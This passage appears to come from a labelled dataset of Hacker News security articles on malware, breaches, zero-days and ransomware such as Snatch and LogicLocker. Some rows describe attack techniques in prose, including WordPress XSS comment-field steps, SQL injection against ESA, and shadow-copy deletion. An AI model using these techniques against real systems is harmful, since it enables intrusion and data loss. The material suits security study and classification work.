The technique used in the malware attack could be exploited by cyber criminals and espionage groups in order to gain access to victims' iOS devices.

UPDATE

Apple has removed more than 300 malware-infected apps from its App Store after a counterfeit version of its developer tool kit allowed many Chinese apps to leak users' personal data to hackers.
""We've removed the apps from the app store that we know have been created with this counterfeit software,"" Apple spokesperson Christine Monaghan told Guardian. ""We are working with the developers to make sure they're using the proper version of Xcode to rebuild their apps.""

Read More:

With Its First Android app, Apple tried to Kill Android Community, But Failed Badly!

",Cyber_Attack
Potential backdoors discovered in US-based components used by French Satellites,https://thehackernews.com/2014/01/potential-backdoors-discovered-in-us.html,"United Arab Emirates (UAE) may terminate a $930 Million USD contract with France based companies for the supply of two two military Imaging satellites due to the discovery of several US produced components in them.

Now the deal is in danger because the UAE claims it has discovered backdoors in the components which are manufactured in the United States, reported by the Defense News.
The contract, sealed in July 2013, includes a ground station, the Pleiades-type satellites (aka Falcon Eye) are due for delivery 2018.

The revelation was provided by high-level UAE sources, the companies involved in the business are the prime contractor Airbus Defense and Space, and payload maker Thales Alenia Space.

""If this issue is not resolved, the UAE is willing to scrap the whole deal,"" he added. UAE authorities suspect the presence of vulnerabilities would ""provide a back door to the highly secure data transmitted to the ground station"".

An unnamed UAE source has confirmed that the presence of backdoor has been reported to Sheikh Mohammed Bin Zayed, deputy supreme commander of the UAE's armed forces.

The contract signed with French companies includes two high-resolution observation satellites and the operational support from France with training for 20 engineers.

UAE representatives are evaluating alternative partners for the supply, Russian industry may be more likely supplier.

""The UAE has drawn on Russian technology, with the GLONASS space-based navigation system fitted as a redundancy feature on a Western European weapon system,"" a French defense expert said.

While some security experts believe that French industry had drawn on the US technology due complexity of the payload, other specialists found intriguing that France had drawn on US technology for the satellites under the Falcon Eye program.

""France operates the Pleiades spy satellite in what is viewed as a critical piece of the nation's sovereignty. Given that core competence, it seemed strange that France would use US technology, although there is an agreement between Paris and Washington over transfer of capabilities, "" said a Defense analysts.

The Defense News also speculated on the fact that the claims may be an attempt to condition another contract for Dassault Aviation Rafale fighters, both French companies were available for comment.

",Malware
"Serious, Yet Patched Flaw Exposes 6.1 Million IoT, Mobile Devices to Remote Code Execution",https://thehackernews.com/2015/12/iot-mobile-security.html,"As much as you protect your electronics from being hacked, hackers are clever enough at finding new ways to get into your devices. But, you would hope that once a flaw discovered it would at least be fixed in few days or weeks, but that's not always the case.

A three-year-old security vulnerability within a software component used by more than 6.1 Million smart devices still remains unpatched by many vendors, thereby placing Smart TVs, Routers, Smartphones, and other Internet of Things (IoT) products at risk of exploit.

Security researchers at Trend Micro have brought the flaw to light that has been known since 2012 but has not been patched yet.

Remote Code Execution Vulnerabilities

Researchers discovered a collection of Remote Code Execution (RCE) vulnerabilities in the Portable SDK for UPnP, or libupnp component – a software library used by mobile devices, routers, smart TVs, and other IoT devices to stream media files over a network.

The flaws occur due to a buffer overflow in Simple Service Discovery Protocol (SSDP), potentially allowing hackers to take full control over the targeted device running the vulnerable version of the software development kit (SDK).

According to the researchers, the vulnerabilities were actually patched in 2012, but many applications still use the outdated versions of the library, allowing remote code execution attacks against devices with flawed apps installed.
""We found 547 apps that used older versions of libupnp, 326 of which are available on the Google Play store,"" Trend Micro mobile analyst Veo Zhang wrote in a blog post published Thursday.

Vulnerable Apps Downloaded by Millions of People

The biggest app affected by the flaw is QQMusic, which is used by over 100 Million people in China alone and has been downloaded by millions of Android users from the Google Play store. However, the security issue has since been fixed by the developers.

The Netflix application, also downloaded by Millions of people, was also thought to be affected by the flaw though the researchers say:
""Upon further clarification with Netflix, we learned that Netflix uses their own fork of libupnp due to an API that is no longer a part of newer libupnp versions. However, their fork contains the fixes from newer versions of libupnp as well, so we believe they are not affected by potential remote code execution attacks targeting this vulnerability.""
Other popular applications using the outdated version of the library include nScreen Mirroring for Samsung, CameraAccess Plus and Smart TV Remote.

List of Vulnerable Apps

Here's the list of some apps, Trend Micro knows, are vulnerable and has actually tested:


Common Name
Package Name
AirSmartPlayer
com.gk.airsmart.main
Big2Small
com.alitech.dvbtoip
CameraAccess plus
jp.co.pixela.cameraaccessplus
G-MScreen
mktvsmart.screen
HexLink Remote (TV client)
hihex.sbrc.services
HexLink-SmartTV remote control
com.hihex.hexlink
Hisense Android TV Remote
com.hisense.commonremote
nScreen Mirroring for Samsung
com.ht.nscreen.mirroring
Ooredoo TV Oman
com.ooredootv.ooredoo
PictPrint – WiFi Print App –
jp.co.tandem.pictprint
qa.MozaicGO.Android
Mozaic GO
QQMusic
com.tencent.qqmusic
QQ音乐HD
com.tencent.qqmusicpad
Smart TV Remote
com.hisense.common
Wifi Entertainment
com.infogo.entertainment.wifi
モバイルTV(StationTV)
jp.pixela.px01.stationtv.localtuner.full.app
에브리온TV (무료 실시간 TV)
com.everyontv
多屏看看
com.letv.smartControl
海信分享
com.hisense.hishare.hall

Though the makers of QQMusic and LinPhone have addressed the issue and released fixes for their apps, users are advised to check their devices for one of these apps and if discovered, simply removed it or check for an update.

The security researchers are continuing to find out more vulnerable app.

",Vulnerability
Hackers Exploiting Critical Zero-Day Bug in SonicWall SMA 100 Devices,https://thehackernews.com/2021/02/hackers-exploiting-critical-zero-day.html,"SonicWall on Monday warned of active exploitation attempts against a zero-day vulnerability in its Secure Mobile Access (SMA) 100 series devices.
The flaw, which affects both physical and virtual SMA 100 10.x devices (SMA 200, SMA 210, SMA 400, SMA 410, SMA 500v), came to light after the NCC Group on Sunday alerted it had detected ""indiscriminate use of an exploit in the wild.""
Details of the exploit have not been disclosed to prevent the zero-day from being misused further, but a patch is expected to be available by the end of day on February 2, 2021.
""A few thousand devices are impacted,"" SonicWall said in a statement, adding, ""SMA 100 firmware prior to 10.x is unaffected by this zero-day vulnerability.""
On January 22, The Hacker News exclusively revealed that SonicWall had been breached as a consequence of a coordinated attack on its internal systems by exploiting ""probable zero-day vulnerabilities"" in its SMA 100 series remote access devices.
Then last week, on January 29, the San Jose-based company issued an update stating it had so far only observed the use of previously stolen credentials to log into the SMA 100 series appliances.
While SonicWall has not shared many details about the intrusion citing an ongoing investigation, the latest development points to evidence that a critical zero-day in the SMA 100 series 10.x code may have been exploited to carry out the attack.
SonicWall is internally tracking the vulnerability as SNWLID-2021-0001.
The company said SonicWall firewalls and SMA 1000 series appliances, as well as all respective VPN clients, are unaffected and that they remain safe to use.
In the interim, the company recommends customers enable multi-factor authentication (MFA) and reset user passwords for accounts that utilize the SMA 100 series with 10.X firmware.
""If the SMA 100 series (10.x) is behind a firewall, block all access to the SMA 100 on the firewall,"" the company said. Users also have the option of shutting down the vulnerable SMA 100 series devices until a patch is available or load firmware version 9.x after a factory default settings reboot.
Update — Patches Released
SonicWall has formally released a patch to address a zero-day vulnerability in SMA 100 series 10.x code.
""All SonicWall customers with active SMA 100 series devices running 10.x code should immediately apply the patch on physical and virtual appliances,"" the company said in a statement. ""The patch also contains additional code to strengthen the device.""
While the company has not shared more details on the vulnerability, NCC Group's Rich Warren hinted that it might have something to do with an authentication bypass.

",Cyber_Attack
A Massive U.S. Property and Demographic Database Exposes 200 Million Records,https://thehackernews.com/2020/03/us-property-records-database.html,"More than 200 million records containing a wide range of property-related information on US residents were left exposed on a database that was accessible on the web without requiring any password or authentication.

The exposed data — a mix of personal and demographic details — included the name, address, email address, age, gender, ethnicity, employment, credit rating, investment preferences, income, net worth, and property information, such as:

Market value
Property type
Mortgage amount, rate, type, and lender
Refinance amount, rate, type, and lender
Previous owners
Year built
Number of beds and bathrooms
Tax assessment information

According to security firm Comparitech, the database, which was hosted on Google Cloud, is said to have been first indexed by search engine BinaryEdge on 26th January and discovered a day later by cybersecurity researcher Bob Diachenko.

But after failing to identify the database owner, the server was eventually taken offline more than a month later yesterday.

""We've been trying to contact Googles cloud security team (IP with database was hosted on their cloud) for them to take down the IP but never got a response,"" the research team told The Hacker News. ""No other ways to determine the owner were possible because no reverse DNS records were available due to the cloud-based nature of the IP.""

In all, the database comprised of 201,162,598 records, with each entry corresponding to a unique individual.


Comparitech noted that during the time it had access to the database, ""it was being updated with new data, suggesting that the information contained is fairly recent.""

Furthermore, the leak raises questions about the identity of the service that would need to store such detailed personally identifiable and demographic data of this kind.

Spear-phishing Warning

Given that the data was not adequately secured, it's not immediately clear if other unauthorized parties accessed this database and downloaded its content. The consequence of such exposure is the increased possibility of targeted spear-phishing attacks.

""The detailed personal, demographic, and property information contained in this data-set is a gold mine for spammers, scammers, and cybercriminals who run phishing campaigns,"" Comparitech said. ""The data allows criminals not only to target specific people but craft a more convincing message.""

Specifically, attackers could target individuals with phishing emails to deliver all kinds of malware that can download malicious programs and steal sensitive information.

It's therefore crucial that users turn on two-factor authentication to add a second layer of account protection.

The incident is not the only time instances of leaky servers have drawn headlines. In recent months, Ecuadorian and Russian citizens, and US government personnel have had their personal info left unprotected on Elasticsearch servers, underscoring that there's still a long way to go when it comes to cloud security.

",Data_Breaches
Facebook Vulnerability Leaks Users' Private Photos,https://thehackernews.com/2015/03/facebook-photo-sync-hacking.html,"If you have enabled automatic Facebook Photo Sync feature on your iPhone, iPad or Android devices, then Beware! Hackers can steal your personal photographs without your knowledge.

In 2012, the social network giant introduced Facebook Photo Sync feature for iPhone, iPad and Android devices which, if opt-in, allows Facebook to automatically sync all your photos saved on your mobile device with your Facebook account.

The photos that you have synced from your phone are automatically uploaded in the background to a private Facebook album, which is not visible to any of your Facebook friends or other Facebook users. However, you may can choose then to share photos from the album on your Facebook timeline or send them as a message to a friend.

A bug bounty hunter, Laxman Muthiyah, discovered a critical flaw in the Facebook Photo Sync feature and Facebook API that could allow any third-party app to access your personal photos from the hidden Facebook Photo Sync album.

It's something that reminds me of ""The Fappenings"" and ""The Snappening"" -- in which nude and personal photographs of top celebrities were leaked due to a security flaw in Apple's iCloud file storage service and unofficial Snapchat messaging service app, respectively.

In a blog post published today, Laxman explained that the vulnerability resides in the privilege mechanism that which applications are allowed to access sync photos using vaultimages API.
""The vulnerable part is, it just checks the owner of the access token and not the application which is making the request. So it allows any application with user_photos permission to read your mobile photos,"" Laxman wrote in a blog post.
Technically, Synced private photo album should be accessible by only Facebook's official app, but the vulnerability allows any 3rd party apps to get permission to read your personal synced photos.

Laxman previously disclosed a vulnerability in Facebook Graph API mechanism that allowed him to delete any photo album on Facebook owned by any user, any page or any group.

HOW TO DISABLE AUTO-SYNC
Though, Facebook has patched the vulnerability reported by Laxman and rewarded him with $10,000 under it's bug bounty program, Facebook users are advised to turn off Facebook Photo Sync feature just to be on the safer side.

In order to do so, just go to Facebook mobile app menu, scroll down and select Account > App Settings > Sync Photos, then Choose 'Don't sync my photos.'

",Vulnerability
"""Cyber China"", from Operation Aurora to China Cyber Attacks Syndrome",https://thehackernews.com/2012/02/cyber-china-from-operation-aurora-to.html,"""Cyber China"", from Operation Aurora to China Cyber Attacks Syndrome

Security Expert, from Security Affairs - Pierluigi Paganini takes us on a visit to China via The Hacker News January Edition Magazine Article and makes us wonder just how influential China's hacking is on world internet security. Read and decide for yourself :

When we think of China in relation to cyber warfare, we imagine an army of hackers hired by the government in a computer room ready to successfully attack any potential target. China is perceived as a cyber power and ready to march against any insurmountable obstacle using any means. In this connection we read everything and its opposite, and we are ready to blame all sorts of cyber threat to the Country of the Rising Sun.

The truth, however, is quite different, at least in my opinion, and understands that the Chinese people before others have understood the importance of a strategic hegemony in cyber space. However, many doubts are beginning to gather on the real technological capabilities of China. It certainly has a high potential for cyber offensive but its quality is really arguable.

China has the most extensive cyber-warfare capabilities. It began to implement an Information Warfare strategy in 1995 conducting a huge quantity of exercises in which computer viruses have been used to interrupt military and private communications. In 2000, China established a strategic Information Warfare unit, Net Force, which is responsible for ""wage combat through computer networks to manipulate enemy information systems spanning spare parts deliveries to fire control and guidance systems."" Today The PLA GSD Third Department and Fourth Departments are considered to be the two largest players in China's burgeoning cyber-infrastructure.

In November 2011, Desmond Ball, a professor in the Strategic and Defense Studies Centre at Australia's National University argues that the Chinese offensive capabilities today are pretty limited and he has also declared that the internal security has a bunch of vulnerabilities.

Ball says that China's cyber-warfare capabilities are ""fairly rudimentary"", and is actually able to organize massive attacks (e.g. DDoS attacks) with little sophistication. The technology solutions behind the malware used are really poor and this makes them really simple to detect and remove before any damage has been done or data stolen. The capabilities shown cannot be sufficient to penetrate highly secure networks or covertly steal or falsify critical data.

Are we really sure that behind the attacks are China's hackers?
According cyber analysts, hackers in China and their attacks have different digital fingerprints, easily recognizable by analyzing the used computer code, and studying the command and control computers that they used to move their malicious software.

No doubt, analysts are convinced that attacks are coming from the Chinese government, because they have tracked enough intrusions to specific locations to be confident they are linked to Beijing cyber structures. Consider that the threat was persistent, spreading malware in target computer networks again and again over the course of several months or even years.

https://www.securitychallenges.org.au/ArticlePDFs/vol7no2Ball.pdf

Which are the countries being targeted by China and which are the real target of this attacks?
Many cyber-intelligence operations have been conducted against numerous countries, including the United States, UK, Australia, New Zealand, Canada, Germany, France, the Netherlands, Portugal, Japan, South Korea, Taiwan, India, Pakistan, Iran, Thailand, the Philippines and Indonesia.

Consider that according to what has been published in the Office of the National Counterintelligence Executive report, prevalent usage of cyber operations is related to attempting to gain business and industrial secrets from companies, in this case from Americans.

https://www.ncix.gov/publications/reports/fecie_all/Foreign_Economic_Collection_2011.pdf

Companies are frustrated that the government isn't doing enough to pressure China to stop the attacks which the Chinese government has officially been providing protection and anonymity to those groups of hackers.
In the last ten years the attacks have increased dramatically broadened to target defense companies, critical industries, major firms also including critical infrastructure.

China is considered one of the most dangerous players of cyber-espionage operations against world wide business. Forecast for the next years aren't encouraging because the government of China will maintain an aggressive approach and be capable of collecting sensitive economic, military and industrial information related foreign Nations.

To give you an idea of the huge quantity of attacks reported in 2011 for which China was directly or indirectly considered responsible I submit an interesting table prepared by the security expert Paolo Passeri. The list includes prominent victims such as RSA. Obviously we do not have total certainty on the array of attacks, but the evidence suggests that behind all of these operations there is a single performer, China.

Just last week Julian Assange has declared that Chinese intelligence penetrated into the intelligence system of the Indian government including the Indian equivalent of FBI, the Central Bureau of Investigation. This event brings to the fore the need for governments to have an appropriate cyber strategy so that National Security cannot be affected by such attacks. The economic development of a nation can no longer ignore these cyber attacks regardless of its awareness of the cyber threat.

https://ibnlive.in.com/news/china-hacked-indias-intel-network-assange/208460-3.html

Based on the above facts, I believe it is wrong to consider these attacks rudimentary as the effects demonstrate that they are really dangerous and efficient.

Another erroneous belief is that the Chinese government uses a large group of hackers to make the attack. According to a report supplied by the Associated Press the majority of the attacks emanating from China are conducted by a few as a dozen groups of hackers under the control and coordination of the Chinese government.

What is the economic impact of cyber attacks on the U.S.?
Considering a report recently released by the United States Office of the Counterintelligence Executive (ONCIX) several billions of dollars are lost in intellectual property and classified information disclosure every year due cyber espionage.

https://www.ncix.gov/publications/reports/fecie_all/Foreign_Economic_Collection_2011.pdf

We are warned that the constant barrage of cyber attacks against economic and critical systems will require a unified effort by government and the private sector to improve security following a well defined cyber strategy addressed by the central Governments. Cyber warfare has just begun, stay sharp.

[Cross Post from Securityaffairs]

",Malware
JavaScript hole in Facebook !,https://thehackernews.com/2011/03/javascript-hole-in-facebook.html,"Facebook made some important changes to the way in Facebook Pages, the fan pages set up by brands, bands and even cucumbers could be created.

In the past the tabs which could be added to these pages have been set up in two ways; the first used the Facebook FBML app. This allowed page tabs to be created using static Facebook Markup Language (FBML) or HTML, it wasn't particularly engaging but it was very simple to use. The second method for creating page tabs was by adding a custom Facebook app inside a standard FBML tab. This meant the custom app could request external data from a third party and display it inside the page tab. This content though was subject to many technical limitations, as it was all proxied through Facebook which broke many things including tracking pixels, JavaScript and Flash.

So what is the big change? Well Facebook now allow iframes to be included inside Facebook apps on page tabs, meaning that all that Facebook proxying can be avoided. While this is no doubt great news for legitimate developers it will undoubtedly make life for those with malicious intent much easier too.

It is now possible to set up a Facebook page, create a default landing tab (the one you first see when you visit the page) and include an app that contains an iframe. That iframe can for example contain JavaScript which immediately and without user interaction redirects you to any site it chooses. Say for example a page containing Fake AV or a page where an exploit kit is waiting to silently infect you with malware.

No more likejacking required, no more having to persuade users to install your app, if a criminal can make the bait sweet enough just to get you to visit the page, that is all they will require to start the chain that leads to your computer being compromised and used for criminal purposes.

Of course Facebook ask their developers to agree to a code of conduct that prohibits such activities, but when it comes to criminals, that's a bit like taking a driving license away from a joyrider.

I have informed Facebook of this oversight in their new functionality and will update this blog posting if I hear back from them.

Thanks to Stig Edvartsen for his eagle-eyes and Heidi Obschil-Müller for the iframe

News Source : https://mcaf.ee/b81e2

",Malware
European Space Agency SQL vulnerability exploited,https://thehackernews.com/2012/12/european-space-agency-sql-vulnerability.html,"The European Space Agency (ESA) is an intergovernmental organisation dedicated to the exploration of space. Hacker going by name ""SlixMe"" find and exploit SQL Injection vulnerability on a sub domain of website.

Hacker upload dump on his website, where he disclose the SQLi vulnerable link and Database tables also. Hacker also mention that other 5 domains are also hosted on same server, that can be exploited if he will be successful to exploit one site completely.

Exploited Domain : https://television.esa.int/


Method mentioned as ""PostgreSQL AND error-based - WHERE or HAVING clause"". In further discluse the PayLoad of injection also published.

Site is vulnerable at time of publishing this article.

",Vulnerability
Google Warning about New State Sponsored Attacks,https://thehackernews.com/2012/10/google-warning-about-new-state.html,"""Warning: We believe state-sponsored attackers may be attempting to compromise your account or computer."" From last 3 months Google users were surprised to see this unusual notification at the top of their Gmail inbox, Google home page or Chrome browser. These warnings are not being shown because Google's internal systems have been compromised or because of a particular attack.

""The company said that since it started alerting users to malicious probably state-sponsored activity on their computers in June, it has picked up thousands more instances of cyberattacks than it anticipated."" NYtimes said. Google will now start sending out these messages to tens of thousands more people, as its methods for detecting suspicious activity have improved.

Mike Wiacek, a manager on Google's information security team, said that since then, Google has improved its knowledge on attack methods and the groups behind them, and has started pushing out new alerts on Tuesday - as evidenced by a slew of U.S. journalists, researchers and foreign policy experts who said they already received the warning.

Noah Schactman, the editor of Wired's national security blog ""Danger Room,"" tweeted: ""Aaaaand I just got Google's 'you may be a victim of a state-sponsored attack' notice. #WhatTookYouSoLong?""

Mr. Wiacek noted that Google had seen an increase in state-sponsored activity coming from the Middle East. He declined to call out particular countries, but he said the activity was coming from ""a slew of different countries"" in the region.


",Cyber_Attack
Here's How Hackers Could Have Spied On Your DJI Drone Account,https://thehackernews.com/2018/11/dji-drone-hack_8.html,"Cybersecurity researchers at Check Point today revealed details of a potential dangerous vulnerability in DJI Drone web app that could have allowed attackers access user accounts and synced sensitive information within it, including flight records, location, live video camera feed, and photos taken during a flight.

Thought the vulnerability was discovered and responsibly reported by the security firm Check Point to the DJI security team in March this year, the popular China-based drone manufacturing company fixed the issue after almost six months in September.

The account takeover attack takes advantage of a total of three vulnerabilities in the DJI infrastructure, including a Secure Cookie bug in the DJI identification process, a cross-site scripting (XSS) flaw in its Forum and a SSL Pinning issue in its mobile app.

The first vulnerability, i.e. not having the ""secure"" and ""httponly"" cookie flag enabled, allowed attackers to steal login cookies of a user by injecting a malicious JavaScript into the DJI Forum website using the XSS vulnerability.
""To trigger this XSS attack all the attacker need do is to write a simple post in the DJI forum which would contain the link to the payload,"" the researchers explained in a report published today.

""A user who logged into DJI Forum, then clicked a specially-planted malicious link, could have had his or her login credentials stolen to allow access to other DJI online assets,""

Once captured, the login cookies, which include authentication tokens, can then be re-used to take complete control over the user's DJI Web Account, the DJI GO/4/pilot Mobile Applications and account on its centralized drone operations management platform called DJI Flighthub.

However, to access the compromised account on the DJI mobile apps, attackers have to first intercept the Mobile application traffic after bypassing its implementation of SSL pinning by performing man-in-the-middle (MitM) attack to the DJI server using Burp Suite.

""We also carried out further research and found that by parsing flight logs files we can get much more information such as location and angle of every picture taken during the drone's flight, the drone's home location, last known location and more,"" researchers said.

DJI classified the vulnerability as ""high risk—low probability,"" because successful exploitation of the flaw required a user ""to be logged into their DJI account while clicking on a specially-planted malicious link in the DJI Forum.""

DJI also said the company did not find any evidence of the flaw being exploited in the wild.

Check Point researchers reported the vulnerability to the DJI through its bug bounty program, but declined to reveal the financial reward offered to them. The DJI bug bounty program offers up to $30,000 in rewards for single vulnerabilities.

DJI has been facing scrutiny in the United States after the Department of Homeland Security (DHS) released a memo late last year accusing the company of sending sensitive information about the U.S. infrastructure to China through its commercial drones and software.

However, the drone maker denied the allegations, saying that the memo from the US government office was based on ""clearly false and misleading claims.""

",Vulnerability
Snatch Ransomware Reboots Windows in Safe Mode to Bypass Antivirus,https://thehackernews.com/2019/12/snatch-ransomware-safe-mode.html,"Cybersecurity researchers have spotted a new variant of the Snatch ransomware that first reboots infected Windows computers into Safe Mode and only then encrypts victims' files to avoid antivirus detection.

Unlike traditional malware, the new Snatch ransomware chooses to run in Safe Mode because in the diagnostic mode Windows operating system starts with a minimal set of drivers and services without loading most of the third-party startup programs, including antivirus software.

Snatch has been active since at least the summer of 2018, but SophosLabs researchers spotted the Safe Mode enhancement to this ransomware strain only in recent cyber attacks against various entities they investigated.

""SophosLabs researchers have been investigating an ongoing series of ransomware attacks in which the ransomware executable forces the Windows machine to reboot into Safe Mode before beginning the encryption process,"" the researchers say.

""The ransomware, which calls itself Snatch, sets itself up as a service [called SuperBackupMan with the help of Windows registry] that will run during a Safe Mode boot.""

""When the computer comes back up after the reboot, this time in Safe Mode, the malware uses the Windows component net.exe to halt the SuperBackupMan service, and then uses the Windows component vssadmin.exe to delete all the Volume Shadow Copies on the system, which prevents forensic recovery of the files encrypted by the ransomware.""

What makes Snatch different and dangerous from others is that in addition to ransomware, it's also a data stealer. Snatch includes a sophisticated data-stealing module, allowing attackers to steal vast amounts of information from the target organizations.


Though Snatch is written in Go, a programming language known for cross-platform app development, the authors have designed this ransomware to run only on the Windows platform.

""Snatch can run on most common versions of Windows, from 7 through 10, in 32- and 64-bit versions. The samples we've seen are also packed with the open source packer UPX to obfuscate their contents,"" the researchers say.

Besides this, the attackers behind Snatch ransomware also offer partnership opportunities to other cybercriminals and rogue employees who possess credentials and backdoors into large organizations and can exploit it to deploy the ransomware.

As shown in the screenshot taken from an underground forum, one of the group members posted an offer ""looking for affiliate partners with access to RDP \ VNC \ TeamViewer \ WebShell \ SQL injection in corporate networks, stores, and other companies.""


Using brute-forced or stolen credentials, attackers first gain access to the company's internal network and then run several legitimate system administrators and penetration testing tools to compromise devices within the same network without raising any red flag.

""We also found a range of otherwise legitimate tools that have been adopted by criminals installed on machines within the target's network, including Process Hacker, IObit Uninstaller, PowerTool, and PsExec. The attackers typically use them to try to disable AV products,"" the researchers say.

Coveware, a company that specializes in extortion negotiations between attackers and ransomware victims, told Sophos that they negotiated with the Snatch criminals ""on 12 occasions between July and October 2019 on behalf of their clients"" with the ransom payments ranging between $2,000 to $35,000 in bitcoins.

To prevent ransomware attacks, organizations are recommended not to expose their critical services and secure ports to the public Internet, and if required, secure them using a strong password with multi-factor authentication.
",Cyber_Attack
Zero Day Reflected Cross Site Scripting vulnerability in wordpress 3.3,https://thehackernews.com/2012/01/zero-day-reflected-cross-site-scripting.html,"Zero Day Reflected Cross Site Scripting vulnerability in wordpress 3.3

Two Indian Security Experts : Aditya Modha & Samir Shah from from Net-Square Solutions reveals Zero Day Reflected Cross Site Scripting vulnerability in latest version of wordpress 3.3 !

Vulnerability exploit the comment feature of Wordpress Blog. Following two Steps mentioned in Exploit.

Step 1: Post a comment to the target website.
Step 2: Replace the value of author tag, email tag, comment tag with the exact value of what has been post in the last comment. Change the value of comment_post_ID to the value of post (which can be known by opening that post and checking the value of p parameter in the url). For example the if the url is https://192.168.1.102/wordpress/?p=6 then the value of comment_post_ID is 6.

Get Complete Exploit Here

",Vulnerability
Security Firm Reveals Flaw in Dirt Jumper Bot,https://thehackernews.com/2012/08/security-firm-reveals-flaw-in-dirt.html,"A team of researchers has discovered a weakness in the command-and-control infrastructure of one of the major DDoS toolkits, Dirt Jumper, that enables them to stop attacks that are in progress.

The command and control (C&C) servers of the Dirt Jumper DDoS toolkit can be compromised and, in principle, completely taken over via SQL injection holes.

SQL injection involves inserting database instructions in unexpected and unprotected places, effectively taking charge of a web application's database from the outside. According to the Prolexic report, the open source penetration testing tool sqlmap can be used to dump the contents of Dirt Jumper's database configuration file in a matter of seconds, revealing administrative usernames and passwords.

The company's research includes Dirt Jumper v.3, Pandora and Di BoT. According to Prolexic, the Dirt Jumper family of DDoS botnet kits was originally authored by an individual who uses the handle 'sokol.' Various versions of Dirt Jumper were sold privately and leaked to the public.

""DDoS attackers take pride in finding and exploiting weaknesses in the architecture and code of their targets. With this vulnerability report, we've turned the tables and exposed crucial weaknesses in their own tools,"" said Prolexic's CEO, Scott Hammack.

Pandora can be used to launch five different attack types, including a combination of techniques against the web application and infrastructure layers of targeted websites. Dirt Jumper seems to have overtaken rivals to become one of the most successful DDoS toolkits available on the Russian underground.

""Construction of a new variant of Dirt Jumper is relatively easy, only requiring basic knowledge of Delphi, a basic understanding of PHP and MySQL, and U.S. $5,000 to purchase the Dirt Jumper builder source code"".

",Vulnerability
This Ransomware Malware Could Poison Your Water Supply If Not Paid,https://thehackernews.com/2017/02/scary-scada-ransomware.html,"Ransomware has been around for a few years, but in last two years, it has become an albatross around everyone's neck, targeting businesses, hospitals, financial institutions and personal computers worldwide and extorting millions of dollars.

Ransomware is a type of malware that infects computers and encrypts their content with strong encryption algorithms, and then demands a ransom to decrypt that data.

It turned out to be a noxious game of Hackers to get paid effortlessly.

Initially, ransomware used to target regular internet users, but in past few months, we have already seen the threat targeting enterprises, educational facilities, and hospitals, hotels, and other businesses.

And now, the threat has gone Worse!

This PoC Ransomware Could Poison Water Supply!
Researchers at the Georgia Institute of Technology (GIT) have demonstrated the capability of ransomware to take down the critical infrastructure our cities need to operate, causing havoc among people.

GIT researchers created a proof-of-concept ransomware that, in a simulated environment, was able to gain control of a water treatment plant and threaten to shut off the entire water supply or poison the city's water by increasing the amount of chlorine in it.

Dubbed LogicLocker, the ransomware, presented at the 2017 RSA Conference in San Francisco, allowed researchers to alter Programmable Logic Controllers (PLCs) — the tiny computers that control critical Industrial Control Systems (ICS) and Supervisory Control and Data Acquisition (SCADA) infrastructure, like power plants or water treatment facilities.

This, in turn, gave them the ability to shut valves, control the amount of chlorine in the water, and display false readouts.

Sounds scary, Right?

Fortunately, this has not happened yet, but researchers say this is only a matter of time.

The simulated attack by researchers was created to highlight how attackers could disrupt vital services which cater to our critical needs, like water management utilities, energy providers, escalator controllers, HVAC (heating, ventilation and air conditioning) systems, and other mechanical systems.

Over 1500 PLC Systems Open To Ransomware Attack
LogicLocker targets three types of PLCs that are exposed online and infects them to reprogram the tiny computer with a new password, locking the legitimate owners out and demanding ransom while holding the utility hostage.

If the owners pay, they get their control over the PLC back. But if not, the hackers could malfunction water plant, or worse, dump life-threatening amounts of chlorine in water supplies that could potentially poison entire cities.

GIT researchers searched the internet for the two models of PLCs that they targeted during their experiment and found more than 1,500 PLCs that were exposed online.
""There are common misconceptions about what is connected to the internet,"" says researcher David Formby. ""Operators may believe their systems are air-gapped and that there's no way to access the controllers, but these systems are often connected in some way.""
Targeting industrial control and SCADA systems is not new, cybercriminals and nation-state actors are doing this for years, with programs like Stuxnet, Flame, and Duqu, but ransomware will soon add a financial element to these type of cyber attacks.

Therefore, it is inevitable that money-motivated criminals will soon target critical infrastructure directly. Additionally, the nation-state actors could also hide their intentions under ransomware operators.

So, it is high time for industrial control systems and SCADA operators to start adopting standard security practices like changing the PLCs default passwords, limiting their connections by placing them behind a firewall, scanning their networks for potential threats, and install intrusion monitoring systems.

",Cyber_Attack
"France Telecom Orange Hacked Again, Personal Details of 1.3 Million Customers Stolen",https://thehackernews.com/2014/05/france-telecom-orange-hacked-again.html,"French leading telecommunications company 'Orange' hit by second major data breach of its kind in a matter of months. Company announced that hackers have stolen personal data of 1.3 million customers of its online portal.

ORANGE HACKED SECOND TIME IN THREE MONTHS
Hackers have stolen a ""limited amount of personal information concerning clients and future customers"", including their first names, Surnames email addresses, phone numbers for both mobiles and fixed lines, dates of birth as well as the names of clients' mobile and Internet operators.

""The data recovered could be used to contact those concerned by email, SMS or by phone, particularly for phishing purposes,"" company said in an statement.

The Incident was detected by the company on April 18, but the company has waited until now to inform customers to determine its full extent and to ensure that the security holes leveraged by the hackers have been patched.

BEWARE OF PHISHING ATTACKS
We don't know what the motivations of the Cyber criminals are, it is not known what will actually happen to the Stolen Database. The attackers know the recipients name, so this could potentially lead to e-mail spam and phishing attacks.

Such attacks are frequently disguised as an email from a company asking the customer to provide sensitive information such as passwords, user names or credit card details.

""The data collected could be used to contact people involved in e-mail, SMS or telephone, including for phishing"" warns Orange.

In February, Orange revealed a separate security breach, in which more than 800,000 users' emails, passwords, addresses and phone numbers had been stolen from its customer website.

Orange also reported that it had found the source of the attack and has filed an official police complaint about the data breach.

",Data_Breaches
US Agencies and FireEye Were Hacked Using SolarWinds Software Backdoor,https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html,"State-sponsored actors allegedly working for Russia have targeted the US Treasury, the Commerce Department's National Telecommunications and Information Administration (NTIA), and other government agencies to monitor internal email traffic as part of a widespread cyberespionage campaign.
The Washington Post, citing unnamed sources, said the latest attacks were the work of APT29 or Cozy Bear, the same hacking group that's believed to have orchestrated a breach of US-based cybersecurity firm FireEye a few days ago leading to the theft of its Red Team penetration testing tools.
The motive and the full scope of what intelligence was compromised remains unclear, but signs are that adversaries tampered with a software update released by Texas-based IT infrastructure provider SolarWinds earlier this year to infiltrate the systems of government agencies as well as FireEye and mount a highly-sophisticated supply chain attack.
""The compromise of SolarWinds' Orion Network Management Products poses unacceptable risks to the security of federal networks,"" said Brandon Wales, acting director of the US Cybersecurity and Infrastructure Security Agency (CISA), which has released an emergency directive, urging federal civilian agencies to review their networks for suspicious activity and disconnect or power down SolarWinds Orion products immediately.
SolarWinds' networking and security products are used by more than 300,000 customers worldwide, including Fortune 500 companies, government agencies, and education institutions.
